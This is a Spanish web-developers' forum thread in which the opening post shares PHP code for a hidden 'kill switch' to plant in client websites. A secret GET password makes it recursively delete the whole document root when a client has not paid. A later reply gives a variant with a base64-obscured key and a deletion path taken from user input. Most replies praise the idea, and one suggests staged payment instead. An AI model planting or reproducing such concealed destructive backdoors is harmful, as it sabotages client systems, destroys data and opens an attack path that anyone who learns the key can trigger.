Foros Programación Servidor

Recurso para proteger las webs que realizamos

23 23 Respuestas Sábado 5 de febrero, 2011
Bueno, he visto muchos post donde la gente se queja de que ha entregado una web y no la ha pagado, y cosas varias, os voy a compartir un script que utilizo en php para poder borrar una web en caso de que no te la hayan pagado, aun no sabiendo el ftp.

IMPORTANTE USAR CON CUIDADO OS PODEIS CARGAR COSAS IMPORTANTES SIN QUERER


El script en cuestión es este :
<?php

function destroyDir($dir, $virtual = false)
{
$ds = DIRECTORY_SEPARATOR;
$dir = $virtual ? realpath($dir) : $dir;
$dir = substr($dir, -1) == $ds ? substr($dir, 0, -1) : $dir;
if (is_dir($dir) && $handle = opendir($dir))
{
while ($file = readdir($handle))
{
if ($file == '.' || $file == '..')
{
continue;
}
elseif (is_dir($dir.$ds.$file))
{
destroyDir($dir.$ds.$file);
}
else
{
unlink($dir.$ds.$file);
}
}
closedir($handle);
rmdir($dir);
return true;
}
else
{
return false;
}
}

function comprobar()
{

$confirmacion = $_GET['confirmacion'];

if($confirmacion == '123456'){

destroyDir($_SERVER['DOCUMENT_ROOT']);

}







?>



Lo podeis meter tal cual, lo ideal seria que estuviera en el archivo que usais para las conexiones, aunque podeis crear un archivo especifico, o meterlo en todos los que querais.

El funcionamiento seria sencillo, donde pone :
if($confirmacion == '123456'){


cambiariamos el 123456 por la contraseña que quisieramos, si tenemos una web alojada en http://ejemplo.com/ para borrar la web seria tan simple como añadir lo siguiente a la url , http://ejemplo.com/index.php?confirmacion=123456

Podeis hacer una prueba en local, siempre teniendo en cuenta que borra todo lo del ftp, osea si teneis varias carpetas os las borra todas IMPORTANTE

Espero que os sirva.

cloudstudio.es@gmail.com

www.cloudstudio.es
psd a html
Registrado desde 05/05/09
Número de posts: 537
  • Avatar de jacobo rus jacobo rus Registrado desde 10/05/07 / Número de posts: 127
    La verdad es que es una muy buena idea Cuviline. Gracias

    Creo que le faltan 2 cosas para ser perfecta: Una es poder meter otra contraseña que destruya esta función, para asegurarnos de que nadie la usará en el futuro ni por casualidad. La otra es que elimine solamente la carpeta que nos pertenece, porque si borramos todo el FTP podemos meternos en un buen lío.
    ··························································
    Jacobo @ x.a.r.o.p.e
    Publicado hace más de un año
  • Avatar de Cloudstudio Cloudstudio Registrado desde 05/05/09 / Número de posts: 537
    Para que borrara la función habría que meterla en un archivo determinado, eso no es viable, la idea es poder meterlo en tantos archivos como quieras.

    Por la misma regla de tres, si borramos solo la carpeta, y estamos dentro de la carpeta scripts. no serviría de nada, la cuestión es que borre toda la web.
    cloudstudio.es@gmail.com

    www.cloudstudio.es
    psd a html
    Publicado hace más de un año
  • Avatar de Raimon Raimon Registrado desde 16/12/09 / Número de posts: 512
    Pero cuando dices que borra todo el ftp, te refieres a todas las carpetas que están dentro del árbol de la carpeta a la que hacemos la llamada php, o también borraría las carpetas padre de ésta?

    Gracias,
    Raimon
    Publicado hace más de un año
  • Avatar de MrSoriano MrSoriano Registrado desde 28/06/07 / Número de posts: 1155
    jojjojojo qué grande!
    Publicado hace más de un año
  • Avatar de Fernancalle Fernancalle Registrado desde 04/01/10 / Número de posts: 107
    El php de Cuviline es una solución, muy "chunga", pero una solución... Nunca se sabe ... :)

    Más moderada y quizás menos efectiva si el cliente control algo de css es esta otra, pero en un momento determinado puede ser menos peligrosa y a lo mejor funciona...

    CSS KILLSWITCH
    Publicado hace más de un año
  • Avatar de Cloudstudio Cloudstudio Registrado desde 05/05/09 / Número de posts: 537

    Raimon

    Pero cuando dices que borra todo el ftp, te refieres a todas las carpetas que están dentro del árbol de la carpeta a la que hacemos la llamada php, o también borraría las carpetas padre de ésta?

    Gracias,
    Raimon



    También las padres, si el servidor se llama localhost , te borra todo lo que hay en este.

    Es una solución radical, pero sirve, el cliente puede volver a subir la web, pero si es grande le costara 30minutos(?), borrarla cuesta 10 segundos, se acaban quemando.
    cloudstudio.es@gmail.com

    www.cloudstudio.es
    psd a html
    Publicado hace más de un año
  • Avatar de laba laba Registrado desde 08/06/07 / Número de posts: 890
    Welcome to the jungle!!
    Publicado hace más de un año
  • Avatar de Li Genzken Li Genzken Registrado desde 21/02/09 / Número de posts: 509

    Cuviline


    Es una solución radical, pero sirve, el cliente puede volver a subir la web, pero si es grande le costara 30minutos(?), borrarla cuesta 10 segundos, se acaban quemando.

    La subes, te la borro. La subes, te la borro. La subes, te la borro. La subes, te la borro... :)
    _______________________________________
    Universally vacui
    Lieb doesn't call me anymore
    Publicado hace más de un año
  • Avatar de Cloudstudio Cloudstudio Registrado desde 05/05/09 / Número de posts: 537
    Mano dura !
    cloudstudio.es@gmail.com

    www.cloudstudio.es
    psd a html
    Publicado hace más de un año
  • Avatar de pabrigarcia pabrigarcia Registrado desde 31/05/08 / Número de posts: 83
    Por lo que he entenido debes incluirlo en el archivo a borrar, si quiero borrar prueba.php debo llamarlo o incluirlo en ese archivo y poner la confirnación por get,¿es correcto?

    Gracias
    -------------------------------------------------------------------------------
    Diseño web valencia
    Diseño tiendas online
    Publicado hace más de un año
  • Avatar de Cloudstudio Cloudstudio Registrado desde 05/05/09 / Número de posts: 537

    pabrigarcia

    Por lo que he entenido debes incluirlo en el archivo a borrar, si quiero borrar prueba.php debo llamarlo o incluirlo en ese archivo y poner la confirnación por get,¿es correcto?

    Gracias


    Correcto, lo de borrar es relativo, supongo que tendras un archivo donde haces las conexiones la base de datos, o un archivo con todas las funciones, que lo llamas siempre en todos los archivos, y efectivamente por get lo borras.
    cloudstudio.es@gmail.com

    www.cloudstudio.es
    psd a html
    Publicado hace más de un año
  • Avatar de Diego Lorenzo Diego Lorenzo Registrado desde 31/03/09 / Número de posts: 306
    Metiéndole un poco de mano, se le puede pasar por GET una variable que sea el nombre de la carpeta "tope" para el borrado, ¿no crees cuviline?. Así nos curaríamos en salud y así únicamente borraríamos la carpeta que nos interesa. Yo me la pillo que me va a venir de puta madre jajaja.

    Saludos y gracias por el script
    ---------------------------------------------------------------------------------
    Desarrollador web en Rezoloco
    Desarrollador web autónomo FlashDev
    Publicado hace más de un año
  • Avatar de Cloudstudio Cloudstudio Registrado desde 05/05/09 / Número de posts: 537

    Diego Lorenzo

    Metiéndole un poco de mano, se le puede pasar por GET una variable que sea el nombre de la carpeta "tope" para el borrado, ¿no crees cuviline?. Así nos curaríamos en salud y así únicamente borraríamos la carpeta que nos interesa. Yo me la pillo que me va a venir de puta madre jajaja.

    Saludos y gracias por el script


    Si claro, eso seria muy sencillo, pero no efectivo, si quieres meter tu el nombre de la carpeta, y por cualquier motivo la carpeta no se llama igual, no sirve.

    Si le decimos que borre solo la carpeta en la que se encuentra el script ( una opción ) a mi no me convence, desde mi punto de vista, todo fuera :)
    cloudstudio.es@gmail.com

    www.cloudstudio.es
    psd a html
    Publicado hace más de un año
  • Avatar de xavib xavib Registrado desde 05/10/04 / Número de posts: 1519
    Además, es la mejor manera de asegurarse que nunca cobrarás ese trabajo.

    ¿No es más fácil (y seguro, en realidad) tener un acuerdo y hacer los deploys en un servidor de pre-producción y cuando el cliente haya ingresado digamos el 80% hacer puesta a producción? 30% por adelantado, 50% en la revisión a pre-producción y el resto al cabo de 30 días como garantía de aplicación. Sin por lo menos ese 80% la web no sube a su dominio definitivo.
    Publicado hace más de un año
  • Avatar de Cloudstudio Cloudstudio Registrado desde 05/05/09 / Número de posts: 537
    Si, pero hay veces que por X, lo subes al servidor del cliente, y el pago se alarga hasta el infinito...
    cloudstudio.es@gmail.com

    www.cloudstudio.es
    psd a html
    Publicado hace más de un año
  • Avatar de la gata la gata Registrado desde 31/03/08 / Número de posts: 208
    Jajajaaaa... ¡ojalá pudiésemos hacer esto mismo en los trabajos de video!.
    Yo prefiero la opción de Xavib que es más elegante.
    Pero, en caso de que se prolongue mucho cobrar el resto, me lo apunto q es muy bueno.
    Publicado hace cerca de un año
  • Avatar de Ana Molina Ana Molina Registrado desde 21/08/10 / Número de posts: 191

    Cuviline

    Raimon

    Pero cuando dices que borra todo el ftp, te refieres a todas las carpetas que están dentro del árbol de la carpeta a la que hacemos la llamada php, o también borraría las carpetas padre de ésta?

    Gracias,
    Raimon



    También las padres, si el servidor se llama localhost , te borra todo lo que hay en este.

    Es una solución radical, pero sirve, el cliente puede volver a subir la web, pero si es grande le costara 30minutos(?), borrarla cuesta 10 segundos, se acaban quemando.


    brillante
    Publicado hace cerca de un año
  • Avatar de Cloudstudio Cloudstudio Registrado desde 05/05/09 / Número de posts: 537
    Gracias :)
    cloudstudio.es@gmail.com

    www.cloudstudio.es
    psd a html
    Publicado hace cerca de un año
  • Avatar de IOXE IOXE Registrado desde 09/02/11 / Número de posts: 17
    Podemos hacer algo similar de una manera más controlada, se trata de lo siguiente:

    <?php
    // primero ocultamos de forma sencilla la clave
    // que aunque es facilisimo de decodificar
    // pero al menos no se verá aqui tan facilmente
    // para generar una clave basta con: echo base64_encode('123456');
    if($_GET['clave_impago'] == base64_decode('MTIzNDU2')) // esto es 123456
    {
    // si han pasado por GET ?clave_impago=MTIzNDU2
    function eliminar_directorios($dir)
    {
    // empezamos a recorrer directorios u a listar
    // todo lo que vamos eliminando para conocer el
    // alcance de nuestras acciones y poder imprimirlo
    if ($handle = opendir("$dir"))
    {
    while (false !== ($item = readdir($handle)))
    {
    if ($item != "." && $item != "..")
    {
    if (is_dir("$dir/$item"))
    {
    eliminar_directorios("$dir/$item");
    }
    else
    {
    unlink("$dir/$item");
    echo " eliminando $dir/$item <br>\n";
    }
    }
    }
    closedir($handle);
    rmdir($dir);
    echo "eliminando $dir <br>\n" ;
    }
    else
    {
    echo "Error: no se pudo eliminar.";
    }
    }
    // llamamos a la funcion anterior
    eliminar_directorios("./".$_GET['dir']);
    }
    else
    {
    echo 'Error: Clave de impago incorrecta.';
    }
    ?>


    Una vez pasamos por GET la clave prefijada y codificada sencillamente con base64, se crea una funcion a la que llamamos más tarde y a la que le pasamos de manera opcional por GET una variable dir que apuntará a los directorios hijo desde donde se llama a la funcion, si no se pasa la variable dir eliminará todo.

    Como extra va generando un listado de todos los directorios y archivos eliminados para tener una copia de ello posteriormente si se imprime o guarda.

    Eso sí, php debe tener permisos para realizar la hazaña cada vez, sino nada...
    Publicado hace cerca de un año